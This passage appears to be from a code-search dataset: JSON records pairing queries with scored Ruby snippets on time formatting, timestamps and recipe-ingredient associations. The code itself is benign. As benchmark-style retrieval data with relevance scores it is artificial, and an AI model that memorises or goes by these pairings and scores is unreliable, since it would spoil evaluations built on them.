output_time(stat)\n timemsec = stat[@timekey]\n return '[NOT AVAILABLE] ' if timemsec.nil? || timemsec == 0\n time = Time.at(timemsec / 1000)\n # Outputs UTC. To output in the local timezone,\n # call time.localtime.strftime\n time.utc.strftime('%Y-%m-%d %H:%M')\n end", "title": "" }, { "docid": "dc08ff3c84c02e1ed601c1374e185e57", "score": "0.5148509", "text": "def get_completion_time()\n return process_stamp(@end_time)\n end", "title": "" }, { "docid": "4ef8fb839ba73410d22305488ab5272a", "score": "0.5148363", "text": "def time\n @originalTime.gsub(/[ (AM|PM)]/, '').split(':').map(&:to_f)\n end", "title": "" }, { "docid": "0338f3a302f555d7cc8ea1a5eede600b", "score": "0.51421255", "text": "def prep_time_passed\n return \"7:34\"\n end", "title": "" }, { "docid": "6d5d7340ef319e77172e1dde374825bf", "score": "0.5117922", "text": "def mtp(hash)\n time = []\n Bitcoin::MEDIAN_TIME_SPAN.times do\n entry = find_entry_by_hash(hash)\n break unless entry\n\n time << entry.header.time\n hash = entry.header.prev_hash\n end\n time.sort!\n time[time.size / 2]\n end", "title": "" }, { "docid": "245ba2429cc5fbb09ddaa00e4e14af9b", "score": "0.5104712", "text": "def GetCurrentFormattedTimeForDiagLogs()\n Time.now.utc.strftime(\"%Y-%m-%dT%H:%M:%S.%6NZ\")\n end", "title": "" }, { "docid": "245ba2429cc5fbb09ddaa00e4e14af9b", "score": "0.5104712", "text": "def GetCurrentFormattedTimeForDiagLogs()\n Time.now.utc.strftime(\"%Y-%m-%dT%H:%M:%S.%6NZ\")\n end", "title": "" }, { "docid": "d6e4fb6bdd49fc22cc29b751ad55f222", "score": "0.51016957", "text": "def read_time\n (number_of_words.to_f / WORDS_PER_MINUTE).ceil\n end", "title": "" }, { "docid": "148ae4fae2cc9a6303b137cc2bcba00b", "score": "0.50987864", "text": "def timestamp(time)\n date = @file[/(\\w+ \\d+, \\d+)/]\n ASF::Board::TIMEZONE.parse(\"#{date} #{time}\").to_i * 1000\n end", "title": "" }, { "docid": "efdd9571aa60c4218d75fd3fcc9c1d1e", "score": "0.50873744", "text": "def all_commit_times\n `git --git-dir=#{git_dir} log --all --pretty='%at'`.split(/\\n/).uniq\n end", "title": "" }, { "docid": "122fdb0c9726b478cd1590a5ad28e279", "score": "0.5087285", "text": "def time\n @time\n end", "title": "" }, { "docid": "1b00177c13807bbc45cbc8ec598dd67f", "score": "0.50857484", "text": "def time(text)\n scan(text, TIME, :time)\n end", "title": "" }, { "docid": "fdce80c9b3e694751fecf1be87b3a92f", "score": "0.50818783", "text": "def extract_time(hash)\n mash = hash.to_mash\n now = Time.now\n\n [ :year, :month, :day, :hour, :min, :sec ].map do |segment|\n mash.fetch(segment, now.send(segment))\n end\n end", "title": "" }, { "docid": "c0ac85b056746af6a0239c5cebd7b904", "score": "0.5078216", "text": "def met_at\n return Time.parse(read) if met?\n nil\n end", "title": "" }, { "docid": "0d3a763cabc96c491798b8e6a899296f", "score": "0.50778", "text": "def display_run_time\n if self.end_time \n return run_time_or_time_elapsed.gmtime.strftime('%R:%S')\n else\n return \"Run has not completed.\"\n end\n end", "title": "" }, { "docid": "68e1fefa2c67db60bc407133d9b273da", "score": "0.50759685", "text": "def convert_ntp_line(line)\n line_array = line.split(' ')\n days = line_array[0]\n secs = line_array[1]\n human_timestamp = ntp_epoch_start.add_days(days).add_secs(secs)\n format(human_timestamp, line_array, 2)\nend", "title": "" }, { "docid": "48dbb813aa949944fdb9efbc289ea257", "score": "0.5072445", "text": "def uptime\n return File.read('/proc/uptime').split(/\\s+/)[0].to_f rescue 0.0\n end", "title": "" }, { "docid": "5f88c954d652c81ae325870cb63fd341", "score": "0.50723803", "text": "def time\n reply.documents[0][TIME]\n end", "title": "" }, { "docid": "6d340a7753f6380e6625e96887952f0f", "score": "0.50717616", "text": "def getDatetime(whichGPSr, arrLines, ln)\n # puts \"\\n295. whichGPSr: #{whichGPSr}\"\n case whichGPSr\n # Getting starting datetime for this log\n # a bit weak because it depends on formatting. Better to search for <time>...time> FIX \n when \"Garmin\"\n arrLines[ln+4] =~ /<time>(.*?)Z<\\/time>/\n myDatetime = $1\n when \"MotionX\"\n arrLines[ln+5] =~ /<time>(.*?)Z<\\/time>/ \n myDatetime = $1\n # myDatetime = myDatetime[0..-5] # MotionX has more detail than Garmin and I thought it was causing a problem later, but apparently not. Can delete this when MotionX is working \n end\n # puts \"307. myDatetime: #{myDatetime}\"\n return myDatetime \nend", "title": "" }, { "docid": "a34ccda5d834fa0333d70b71520df4da", "score": "0.5069543", "text": "def get_current_time\n current_time = Time.strptime((page.find('.ytp-time-current').text),\"%H:%S\")\n return current_time\nend", "title": "" }, { "docid": "43188f1a2c0df2d20c8717669f690c65", "score": "0.50661075", "text": "def start_time\n if (start_time = @host.at('tag[name=HOST_START]'))\n DateTime.strptime(start_time.inner_text, fmt='%a %b %d %H:%M:%S %Y')\n else\n false\n end\n end", "title": "" }, { "docid": "e0ec7f491e70ad00fb71a6656948ff61", "score": "0.5059341", "text": "def start_time\n start_time_config.pattern_matches[:time]\n end", "title": "" }, { "docid": "11e2d9d157782b9bf0b485fbbf67cffc", "score": "0.5058535", "text": "def fetchSimulationTime()\n com = Sumo::Traci::Command_GetVariable.new(:sim, :timeStep, \"\") ;\n execCommands(com) ;\n time = com.responseValue() ;\n return time ;\n end", "title": "" }, { "docid": "f6b2aafbf78c4c81220626e2cd944013", "score": "0.5057488", "text": "def process_duration\n t1 = Process.times.utime\n Process.times.utime - t1\nend", "title": "" }, { "docid": "5721621b03279ec6304e1e17d7ca6160", "score": "0.50560164", "text": "def time\n @robot.time\n end", "title": "" }, { "docid": "09a555bf8c51ec24e1ef2a0728a22ee8", "score": "0.50477517", "text": "def parse_remote_stat\n remote_line = @status.lines[1].strip\n if remote_line.match(/diverged/)\n remote_line.match(/.*(\\d*).*(\\d*)/).captures\n else\n [remote_line[/is ahead of.*by (\\d*).*/, 1], remote_line[/is behind.*by (\\d*).*/, 1]]\n end\n end", "title": "" }, { "docid": "220a340fc74c08f4a846794709ce4297", "score": "0.50436574", "text": "def get_Timestamp()\n \t return @outputs[\"Timestamp\"]\n \tend", "title": "" }, { "docid": "220a340fc74c08f4a846794709ce4297", "score": "0.5042226", "text": "def get_Timestamp()\n \t return @outputs[\"Timestamp\"]\n \tend", "title": "" }, { "docid": "82289e224ea269f7979f4f20a3a6400a", "score": "0.50256574", "text": "def read_runtime\n if File.exists?(run_file)\n Time.parse(File.open(run_file, &:readline).strip).utc.strftime(\"%FT%T\")\n else\n Time.parse('1970-01-01').utc.strftime(\"%FT%T\")\n end\n end", "title": "" }, { "docid": "eef9dc9beadd956ca184e45964b4ded4", "score": "0.5023359", "text": "def count_time(relevant_line)\n t0 = 0\n time_between = []\n relevant_line.each do |n|\n t1 = Time.parse(n)\n d = t1 - t0\n t0 = t1\n time_between << d\n end\n time_between\nend", "title": "" }, { "docid": "1cca06af2c117566dc70aeae8ab87c4a", "score": "0.5021318", "text": "def asctime() end", "title": "" }, { "docid": "2520882e605e8b1260904ebaa9e2ec6d", "score": "0.5015507", "text": "def last_used\n Date.parse(match(/Last\\sused\\s+:\\s+(\\w+ [0-9]{2} [0-9(:?)]+ [0-9]{4})/)) rescue nil\n end", "title": "" } ]
d7a0912c539d0aed694e313e1c62bb8f
Returns an array containing all extra ingredients
[ { "docid": "6857b8fceea060d1ffa190de85a579bd", "score": "0.70870423", "text": "def extra\n @ingredients.select {|item| item.extra?}\n end", "title": "" } ]
[ { "docid": "84956bc41d95f856a4c90d1cda15b2c4", "score": "0.80432636", "text": "def ingredients\n self.recipe_ingredients.map do |recipeingredient|\n recipeingredient.ingredient\n end\n #returns an array of ingredients in the recipe_ingredients array\n end", "title": "" }, { "docid": "a95f48dc0bb2853f526d546469255b79", "score": "0.7924737", "text": "def ingredients\n self.recipe_ingredients.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end\n end", "title": "" }, { "docid": "61fab55cba458ed92f8dd8e3065437e6", "score": "0.7824131", "text": "def ingredients\n desserts.map {|dessert| dessert.ingredients}.flatten\n end", "title": "" }, { "docid": "98cefcb5e106b681535e75f22ccfbdd3", "score": "0.77534825", "text": "def ingredients\n (self.recipe_ingredients + self.steps.select{ |i| i.is_recipe_id }.map{|i|\n Recipe.includes(:recipe_ingredients).find(i.is_recipe_id).ingredients\n }.compact).flatten\n end", "title": "" }, { "docid": "5c04e1ba354b9aa20dce47a30beccc28", "score": "0.76411724", "text": "def ingredients\n ingredients = main.ingredients\n ingredients += starter.ingredients if starter.present?\n ingredients += dessert.ingredients if dessert.present?\n\n ingredients\n end", "title": "" }, { "docid": "e02ef7f8897bb42029ab3235383d3be0", "score": "0.7635833", "text": "def get_ingredients\n recipe_ingredients.map{|rec_ingredient| rec_ingredient.ingredient}.uniq\n end", "title": "" }, { "docid": "38946f3ea66bbb61de796b76732be555", "score": "0.7568569", "text": "def ingredients\n self.desserts.map { |dessert| dessert.ingredients }\n end", "title": "" }, { "docid": "3ff77c4261d4b5327b5a01971e1a35f4", "score": "0.755203", "text": "def cookbook_ingredients\n @cookbook.map do |recipe|\n recipe.ingredients\n end\n end", "title": "" }, { "docid": "30fc5122bc634d9d1b1cf3ae57a411b5", "score": "0.7542047", "text": "def ingredients\n # ingredients = []\n # ingredient_objects = @recipes.flat_map do |recipe|\n # recipe.ingredients\n # end\n # ingredient_objects.each do |ingredient|\n # ingredients << ingredient.name unless ingredients.include?(ingredient.name)\n # end\n # ingredients\n\n # ingredient_objects.reduce([]) do |acc, ingredient|\n # acc << ingredient.name unless acc.include?(ingredient.name)\n # acc\n # end\n\n # ingredient_objects.map do |ingredient|\n # ingredient.name\n # end\n\n @recipes.flat_map do |recipe|\n recipe.ingredient_names\n end.uniq!\n end", "title": "" }, { "docid": "04a2f239e3478f8dd15d1cc150d387aa", "score": "0.75207865", "text": "def ingredients\n ingredient_list = []\n RecipeIngredient.all.select do |recipe_ingredient|\n if recipe_ingredient.recipe == self\n ingredient_list << recipe_ingredient.ingredient #array containing all ingredients of this recipe\n end\n end\n ingredient_list\n end", "title": "" }, { "docid": "56c4ed4f542d67d5ae5e307170233146", "score": "0.74305546", "text": "def ingredients\n desserts.map {|dessert| dessert.ingredients}.flatten\n \n #you should use the ingredients method in dessert\n # Ingredient.all.select {|ingredient| self.desserts.include?(ingredient.dessert)}\n end", "title": "" }, { "docid": "2b5d61823c641fb0b96b3cac395a72c7", "score": "0.7429385", "text": "def ingredients\n RecipeIngredient.all.select {|recipe_ingredient| recipe_ingreident.recipe == self}.map {|recipe| recipe.ingredient}\n end", "title": "" }, { "docid": "91f9e1afc03e265f99472caa48e6e2af", "score": "0.73659533", "text": "def add_ingredients(ingredients)\n ingredients.recipe.map do |recipe|\n ingredients.recipe\n end\n end", "title": "" }, { "docid": "1f5fd656a268f66471ab3b2717cf5e95", "score": "0.73319924", "text": "def ingredients\n recipe_ing_array = RecipeIngredient.all.select do | rec_ingredient_obj |\n rec_ingredient_obj.recipe == self\n end\n # returns array of RecipeIngredient objects that belong to this recipe\n recipe_ing_array.map do | rec_ingredient_obj |\n # still the rec ingredient object\n rec_ingredient_obj.ingredient\n end\n end", "title": "" }, { "docid": "1846ed37d208fde33297af2ab5fa1ac5", "score": "0.7291702", "text": "def ingredients\n\n self.recipe_ingredients.map {|card| card.ingredients}\n end", "title": "" }, { "docid": "082f7fc3a05a9e3cb6dfbb36e7d165c6", "score": "0.7266614", "text": "def all_ingredients\n all_ingredients = Array.new\n Ingredient.all.each do |i|\n if (self.ingredients.include?(i) ^ self.recipe.ingredients.include?(i)) then\n all_ingredients << i\n end\n end\n all_ingredients\n end", "title": "" }, { "docid": "a47a3391664de148c2d1f4e02df5824f", "score": "0.7236724", "text": "def ingredients\n x = RecipeIngredient.all.select do |rec_ing|\n rec_ing.recipe == self\n end\n y = x.map do |recipe|\n recipe.ingredient\n end\n y\n end", "title": "" }, { "docid": "d5890b2a985a48d84f3c9dc1e0242eae", "score": "0.7224304", "text": "def ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end\n end", "title": "" }, { "docid": "782bf538026d08f6826093f83cc56738", "score": "0.72177595", "text": "def recipes\n recipe_ingredients.map { |recipe_ingredient| recipe_ingredient.recipe}\n end", "title": "" }, { "docid": "78bcd90fecfe7f862c06b2df0777e7b6", "score": "0.721171", "text": "def ingredient\n Recipe.all.find do |info|\n info.ingredients\n end\n end", "title": "" }, { "docid": "c65abefc3a37e0e0563f0d36887beb79", "score": "0.7182001", "text": "def ingredients\n BurritoIngredient.where(burrito_id: id).map do |bi|\n bi.ingredient\n end\n end", "title": "" }, { "docid": "6248fe3ff09ec9ea158163e478e49c28", "score": "0.71684885", "text": "def ingredients \n a = RecipeIngredient.all.select do |recipe_ing|\n recipe_ing.recipe == self \n end\n a.map do |ing|\n ing.ingredient \n end\n end", "title": "" }, { "docid": "81f01cf645b03eede24fe8a15e2f5f5a", "score": "0.7166497", "text": "def ingredients\n RecipeIngredient.all.select do |i|\n i.recipe == self\n end.map do |x| x.ingredient end\n end", "title": "" }, { "docid": "c982157d3e82de69043262fe144814b6", "score": "0.7153317", "text": "def ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end.collect do |x|\n x.ingredient\n end\n end", "title": "" }, { "docid": "d5f28653cadea6f763f007547fc5b827", "score": "0.7149111", "text": "def get_recipe_ingredients(recipe)\n ing_quant_pairs = []\n Recipe2Ingredient.where(recipe_id: recipe.id).each do |link_id|\n\n ing = Ingredient.find(link_id.ing_id).ing_name\n quant = link_id.quantity\n\n ing_quant_pairs.push([ing, quant])\n end\n ing_quant_pairs\n end", "title": "" }, { "docid": "491a5a10ed9c3b406e94583a24afd280", "score": "0.714295", "text": "def shopping_list\n ingredients.map {|i| i.name}\n end", "title": "" }, { "docid": "99168f0360abe273a2ab99fe31dd8676", "score": "0.71376985", "text": "def ingredients\n RecipeIngredient.all.select do |ri| \n ri.recipe == self\n end.map {|ri| ri.ingredient}\n end", "title": "" }, { "docid": "2cad995219f237f7df3a22543f123172", "score": "0.7107606", "text": "def only_added_ingredients\n temp_ingredients = self.recipe.ingredients\n all_ingredients - temp_ingredients\n end", "title": "" }, { "docid": "ed05a1eb43baa62654841095c2adcf14", "score": "0.7102196", "text": "def ingredients_list\n @ingredients = Ingredient.all.collect { |p| [ p.name, p.id ]}\n end", "title": "" }, { "docid": "700bf1d4a0310c74e33cfb70112e7f20", "score": "0.7096766", "text": "def ingredients\n @ingredients.dup\n end", "title": "" }, { "docid": "5298428d8899ce7d5884e9f124b1cf9b", "score": "0.70550203", "text": "def find_ingredients\n \n @ingredients = Array.new\n Ingredient.all.each do |ing|\n \n pair = Array.new\n \n pair.push(ing.name,ing.id)\n \n @ingredients.push(pair)\n \n end\n \n end", "title": "" }, { "docid": "6ab68f0a3bb8112035342bae4ba0032c", "score": "0.7051382", "text": "def ingredients\n ingredients = db_connection do |conn|\n conn.exec(\"SELECT ingredients.name FROM recipes\n JOIN ingredients ON ingredients.recipe_id = recipes.id\n WHERE recipes.id = ($1)\", [@id])\n end\n ingredients_list = []\n ingredients.to_a.each do |ingredient|\n ingredients_list << Ingredient.new(ingredient[\"name\"])\n end\n ingredients_list\n end", "title": "" }, { "docid": "06cd2b1497e9d1379a570a5154266d27", "score": "0.70458937", "text": "def list_all_ingredients\n @ing_list = @recipes.map { |item| item[2] }.flatten.uniq.sort\n end", "title": "" }, { "docid": "9415b1d3ea18f5cc7c3c2e61d40da253", "score": "0.7039568", "text": "def ingredients \r\n Ingredient.all.select {|inst_ingredient| inst_ingredient.bakeries.include?(self)}\r\n end", "title": "" }, { "docid": "0582d253402f36a62675a993ba0a3ed3", "score": "0.70040655", "text": "def ingredients\n Ingredients.all.select{|ingredient| ingredient.bakery == self} \n #go to the Ingredients class and go through everything in the array\n #select the ingredients that matches the bakery and return the array\n end", "title": "" }, { "docid": "0fd2852dd490d1549e46959c5cb6c752", "score": "0.697119", "text": "def ingredients\n RecipeIngredient.all.collect do |relationship|\n relationship.ingredient if relationship.recipe == self\n end.compact\n end", "title": "" }, { "docid": "82eca3038609eb2868c60bcf210a9fe0", "score": "0.6968559", "text": "def recipe_ingredients\n\t\tRecipeIngredient.all.select do |recipe_ingredient|\n\t\t\trecipe_ingredient.recipe == self\n\t\tend\n\tend", "title": "" }, { "docid": "b30630ee21425dd586dc7706415c8dc0", "score": "0.6965389", "text": "def ingredients\n RecipeIngredient.all.select do |recipeingr|\n recipeingr.recipe == self\n end.map do |recipeingr|\n recipeingr.ingredient\n end\n end", "title": "" }, { "docid": "3a4bbb67c92eba16ac32c2744837a3c7", "score": "0.69534314", "text": "def ingredients\n\t\tDessert.all.select do |dessert|\n\t\t\tdessert.bakery == self\n\t\tend.map do |bakery_obj|\n\t\t\tbakery_obj.ingredient.ingredient_name\n\t\tend.uniq\n\tend", "title": "" }, { "docid": "da2874e6edfaed75df819364ced90e07", "score": "0.69310945", "text": "def ingredients()\n sql = \"SELECT ing.*\n FROM ingredients ing\n INNER JOIN recipe_ingredients rec\n ON rec.ingredient_id = ing.id\n WHERE rec.recipe_id = $1;\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map { |ingredient| Ingredient.new(ingredient) }\n end", "title": "" }, { "docid": "02c1b69a75da37cb904b0c170648633b", "score": "0.6922079", "text": "def custom_regimen_ingredients\n arv_extras_concepts = Concept.joins(:concept_names).where(\n concept_name: { name: %w[INH CPT Pyridoxine] }\n )\n Drug.where(concept: arv_extras_concepts) + Drug.arv_drugs.order(name: :desc)\n end", "title": "" }, { "docid": "37149755479cd30cdabb1a328a1be0e0", "score": "0.68910044", "text": "def allergens\n Allergen.all.select{|allergen| get_ingredients.include?(allergen.ingredient)}.map{|allergen| allergen.ingredient}\n end", "title": "" }, { "docid": "a237d0bdd854e7283acbe022a9daa7de", "score": "0.6889672", "text": "def ingredients\n root.ul(id: 'res_ingredients')&.lis&.map(&:text) || []\n end", "title": "" }, { "docid": "904789b77899de0fd45d08c82b379a33", "score": "0.6851037", "text": "def ingredients\n element.definition.fetch(:ingredients, []).map do |ingredient|\n Alchemy::IngredientEditor.new(find_or_create_ingredient(ingredient))\n end\n end", "title": "" }, { "docid": "971de70d5196a8a036b56a2272a6ea44", "score": "0.682831", "text": "def ingredient\n Ingredient.all\n end", "title": "" }, { "docid": "22a0e6a5a7af986a4b0870b809b111f7", "score": "0.6813519", "text": "def ingredients\n Ingredients.all.select {|ingredient| ingredient.dessert == self}\n end", "title": "" }, { "docid": "ecf3d570560efce3679ff53a6fa1ded8", "score": "0.6809314", "text": "def ingredients_with_amounts\n recipe_ingredients.each_with_index.map do |ri, index|\n {\n ri.ingredient.name => ri.amount\n }\n end\n end", "title": "" }, { "docid": "1692ea3cbd3438602af1f563145eb9fa", "score": "0.6805837", "text": "def allergens\n self.ingredients.collect do |ingredient|\n ingredient if ingredient.is_allergen?\n end.compact\n end", "title": "" }, { "docid": "ba873552766d1645f886d5d0011773e2", "score": "0.68052924", "text": "def allergens\n recipe_allergies = []\n\n Allergen.all.each do |allergy|\n if ingredients.include?(allergy.ingredient)\n recipe_allergies << allergy.ingredient\n end\n end\n recipe_allergies\n end", "title": "" }, { "docid": "089ab38c254465deba4ad2e4a887671b", "score": "0.6784584", "text": "def recipe_ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end\n end", "title": "" }, { "docid": "133b3460c4f11db099d417e80e6e372f", "score": "0.67686343", "text": "def allergens\n ingredients.select do |ingredient|\n # Make an array that returns all the allergens in the recipe from the ingredient instance method\n # Return an array \n Allergy.all.map {|allergy| allergy.ingredient}\n end\n end", "title": "" }, { "docid": "b6d70d1f38fee5e9a834e770d7322d0e", "score": "0.67440414", "text": "def recipe_ingredients\n params[:recipe][:ingredients].each do |ingredient_id|\n next if ingredient_id.to_i == 0\n ingredient = Ingredient.find(ingredient_id.to_i)\n @recipe.ingredients << ingredient\n end\n end", "title": "" }, { "docid": "ea93763e80d4bc8617a55de899f8f80b", "score": "0.67380804", "text": "def meta_tags_to_array\n self.ingredients.gsub(/(\\[\\\"|\\\"\\])/, '').split('\" \"').split('\", \"')\n end", "title": "" }, { "docid": "57f65a956fadf69608caeaecff399d59", "score": "0.67240417", "text": "def desserts\n ingredients.map {|i| i.dessert}\n end", "title": "" }, { "docid": "b4f4947814c5708b6bc2340898c494eb", "score": "0.6723382", "text": "def ingredients\n self.desserts.map do |dessert|\n dessert.ingredients\n end\nend", "title": "" }, { "docid": "fb332796e72629e84350624f51a34f73", "score": "0.6718724", "text": "def ingredient_list\n return self.ingredients.nil? ? [] : self.ingredients.split(',')\n end", "title": "" }, { "docid": "bd4b5a30dcfda41775f944c46b6b2d0a", "score": "0.67054886", "text": "def ingredients\n Ingredient.all.select{ |ingredient| ingredient.dessert == self }\n end", "title": "" }, { "docid": "53d2e354f4f05b6287b6f5890bac6663", "score": "0.66975653", "text": "def ingredients\n Ingredient.all.select {|ingredient| ingredient.dessert == self}\n end", "title": "" }, { "docid": "b6c85f5df58cbe09eb0599bf9bdb88b8", "score": "0.6691871", "text": "def recipe_ingredients\n RecipeIngredient.all.select do |rc|\n rc.recipe == self\n end\n end", "title": "" }, { "docid": "4b1c7ef68c9766fbe2ef99b19caab075", "score": "0.6640947", "text": "def extras\n @extras ||= []\n end", "title": "" }, { "docid": "0161c50ba6cb760362b769cab02e80a9", "score": "0.663311", "text": "def allergens\n allergies.map { |allergy| allergy.ingredient }\n end", "title": "" }, { "docid": "1a2365af0b2a2ebf29cd2140416b2d4a", "score": "0.6632623", "text": "def find_ingredients\n dishes.flat_map do |dish|\n dish.ingredients.flat_map do |ingredient|\n ingredient.name\n end\n end.uniq\n end", "title": "" }, { "docid": "14d43985d5a5070d3f827e2ee49fa282", "score": "0.6632232", "text": "def add_ingredients(array)\n array.map do |item| \n RecipeIngredient.new(self,item) \n end\n end", "title": "" }, { "docid": "8b74a07ef2786513aa5c66d4e281d016", "score": "0.6618554", "text": "def add_ingredients(array)\n array.each do |item|\n if item == self.ingredients\n puts self.ingredients\n end\n end\n end", "title": "" }, { "docid": "10bad9713336f6ae0d2c08595b38bc02", "score": "0.6616655", "text": "def allergens\n bad_food = Allergen.all.map do |allergen|\n allergen.ingredient\n end\n\n self.ingredients.select do |ingredient|\n bad_food.include?(ingredient)\n end\n end", "title": "" }, { "docid": "e8115eee7553fd2165cbc7abf0d5e9b6", "score": "0.6591026", "text": "def ingredient_definitions\n definition.fetch(:ingredients, [])\n end", "title": "" }, { "docid": "c0ceac2e68f4a0fca7978a850deeb08b", "score": "0.6590503", "text": "def collectingredients\r\n puts \"collecting ingredients\"\r\n end", "title": "" }, { "docid": "e09f64b0e94ccbca44164a35748d239a", "score": "0.65829253", "text": "def recipe_ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.ingredient == self\n end\n end", "title": "" }, { "docid": "762063ebe49d17d653532cbcf8149cb0", "score": "0.6578888", "text": "def general_ingredient_recipes\n self.ingredient_recipes.select {|ingredient_recipe| ingredient_recipe.ingredient == nil}\n end", "title": "" }, { "docid": "762063ebe49d17d653532cbcf8149cb0", "score": "0.65774477", "text": "def general_ingredient_recipes\n self.ingredient_recipes.select {|ingredient_recipe| ingredient_recipe.ingredient == nil}\n end", "title": "" }, { "docid": "7b6449e3f471a71051f57c499008ee9a", "score": "0.6574702", "text": "def possible_dangerous_ingredients\n\t\t@pdi ||= begin\n\t\t\tiba = ingredients_by_allergene.to_a\n\t\t\tsingles = []\n\t\t\twhile singles.count < @all_allergenes.count\n\t\t\t\tiba.each do |a,il|\n\t\t\t\t\tif il.count == 1\n\t\t\t\t\t\tsingles << il.first\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tsingles.uniq!\n\t\t\t\tiba.map! do |e|\n\t\t\t\t\ta,il=e\n\t\t\t\t\til.count == 1 ? [a,il] : [a, il - singles]\n\t\t\t\tend\n\t\t\tend\n\t\t\tiba.sort {|a,b| a[0] <=> b[0]}.map{|a,il| il.first}\n\t\tend\n\tend", "title": "" }, { "docid": "2d67ca5e20999ddbe656b14015cb5b96", "score": "0.6574462", "text": "def allergens\n allergy_ingredients = self.allergies.map do |allergy|\n allergy.ingredient\n end\n allergy_ingredients.uniq\n end", "title": "" }, { "docid": "bd6279957f358b2335e4739f33367f3b", "score": "0.6566141", "text": "def allergens\n allergen_arr = []\n self.ingredients.each do |ingredient|\n Allergen.all.each do |allergen|\n allergen_arr << ingredient if allergen.ingredient == ingredient\n end\n end\n end", "title": "" }, { "docid": "3f55c6e9209aee91e477a39083421c4d", "score": "0.6562811", "text": "def add_ingredients(ingredient_array)\n ingredient_array.each do |ingredient|\n RecipeIngredient.new(self, ingredient)\n end\n end", "title": "" }, { "docid": "f7783e73d299b9a75dca2b11a3677acb", "score": "0.6538998", "text": "def ingredients_list\n list = []\n ingredients.split(\", \").each do |ingredient|\n list << ingredient.gsub(\".\", \"\")\n end\n list\n end", "title": "" }, { "docid": "6e4e86ad1f6ffb595e374de43ad2baa3", "score": "0.6513454", "text": "def other_ingredients\n temp_ingredients = self.ingredients\n temp_recipe_ingredients = self.recipe.ingredients\n Ingredient.all - temp_ingredients - temp_recipe_ingredients\n end", "title": "" }, { "docid": "940557710c375d5d04fd72489295691f", "score": "0.651273", "text": "def display_individual_ingredients\n ingredients = self.ingredients.map{|ingredient| ingredient.name}\n ingredients.uniq\n end", "title": "" }, { "docid": "c7a06df511064419d811f09dc10bdeb2", "score": "0.65007824", "text": "def ingredients\n Ingredient.all.select {|i| i.bakery == self}\n end", "title": "" }, { "docid": "a3318266418289145ca65faf1330e5d6", "score": "0.6498471", "text": "def add_ingredients(ingredients)\n ingredients.each {|ingredient| RecipeIngredient.new(ingredient: ingredient, recipe: self)}\n end", "title": "" }, { "docid": "0325883f803074bc384cd21d2fe17950", "score": "0.6492073", "text": "def richtext_ingredients_ids\n ids = ingredients.select(&:has_tinymce?).collect(&:id)\n expanded_nested_elements = nested_elements.expanded\n if expanded_nested_elements.present?\n ids += expanded_nested_elements.collect(&:richtext_ingredients_ids)\n end\n ids.flatten\n end", "title": "" }, { "docid": "ca11f5dd4dac664601491f1df55928c0", "score": "0.6486499", "text": "def allergens\n allergies = []\n self.ingredients.each do |ingredient|\n Allergy.all_ingredients.each do |allergy_ingredient|\n if allergy_ingredient == ingredient\n allergies << ingredient\n end\n end\n end\n allergies\n end", "title": "" }, { "docid": "36441355728dc00ef159c547e7533063", "score": "0.6478218", "text": "def add_ingredients(ingredients)\n ingredients.each do |item|\n RecipeIngredient.new(self, item)\n end\n end", "title": "" }, { "docid": "43dc4c87d42a5ea87c7ce50e62796f2b", "score": "0.6477996", "text": "def desserts\n ingredients.map {|ingredient| ingredient.dessert}.uniq\n end", "title": "" }, { "docid": "fe2caf9e8636d775a31883542c8e0e38", "score": "0.6477236", "text": "def get_ingredients\n RecipeIngredient.all.select do |stuff|\n stuff.recipe == self \n end \n end", "title": "" }, { "docid": "f22687cc78bbd645b627c76b77f65c38", "score": "0.64751214", "text": "def bakery\n ingredients.map {|ingredient| ingredient.bakery}.uniq\n end", "title": "" }, { "docid": "6c76f639bcdb13f253cd8047ed1d76aa", "score": "0.64672863", "text": "def ingredients\n Ingredient.all.select {|ingredient| ingredient.bakery == self} \n end", "title": "" }, { "docid": "6653b2a16c51a1ce6e5e1ffb70dd42b6", "score": "0.646557", "text": "def allergens\n array1 = self.ingredients.map { |ing| ing.name }\n array2 = Allergy.all.map { |x| x.ingredient.name }\n array1 & array2\n end", "title": "" }, { "docid": "49b3fa1d2b5bc4387546bc3501942722", "score": "0.64645076", "text": "def allergens \n Allergen.all.select {|a| ingredients.include?(a.ingredient)}\n end", "title": "" }, { "docid": "ca8453f8c0e67b2a27c3706d2274d57e", "score": "0.6445903", "text": "def ingredient\n return nil if essence.nil?\n\n essence.ingredient\n end", "title": "" }, { "docid": "fa3209e20b234c8db3788962e6a45421", "score": "0.64444906", "text": "def listaDeIngredientes()\n ingredientes = []\n self.requets_lines.each do |line|\n ingredientes.push(line.ingrediente)\n end\n ingredientes\n end", "title": "" }, { "docid": "a5f901ddd217ee2df898e5849dad6ebf", "score": "0.64398533", "text": "def add_ingredients(arr_of_ingr) # create new RecipeIngredients\n arr_of_ingr.each do |ing|\n # recipe, ingredient\n RecipeIngredient.new(self, ing)\n end\n end", "title": "" }, { "docid": "7d0377d741d28762c2816b9c592a267b", "score": "0.64307714", "text": "def shopping_list\n ingredients.map {|ingredient| ingredient.name}.join(\", \")\n end", "title": "" }, { "docid": "310baa0d4c0787e0133c45c272a4256d", "score": "0.64250255", "text": "def ingredients(any_recipe)\n \nend", "title": "" }, { "docid": "82cd6e0f19e15af461b50d0693f04d3c", "score": "0.64246505", "text": "def add_ingredients(ingredient_arr)\n ingredient_arr.each do |ingredient_obj|\n RecipeIngredient.new(self, ingredient_obj)\n end\n end", "title": "" }, { "docid": "e635f430a31e2291c0c9a5fdf5e8fa89", "score": "0.6419866", "text": "def add_ingredients(ingredients_array)\n ingredients_array.each{|ingredient|\n RecipeIngredient.new(self, ingredient)}\n end", "title": "" }, { "docid": "5a09890942a50718ad4acee94e57ab95", "score": "0.6416351", "text": "def allergens\n ingredients & User.all.collect {|user| user.allergens}.flatten\n end", "title": "" }, { "docid": "72c24d2146c306b7a869d60e9606527c", "score": "0.6404459", "text": "def ingredients\n puts $perfect_10_recipe.keys\nend", "title": "" }, { "docid": "6f4f212cf7f208734a93ffa3fada7d61", "score": "0.6403706", "text": "def add_ingredients(new_ingredients)\n new_ingredients.each do\n |ingredient| RecipeIngredient.new(self, ingredient) unless 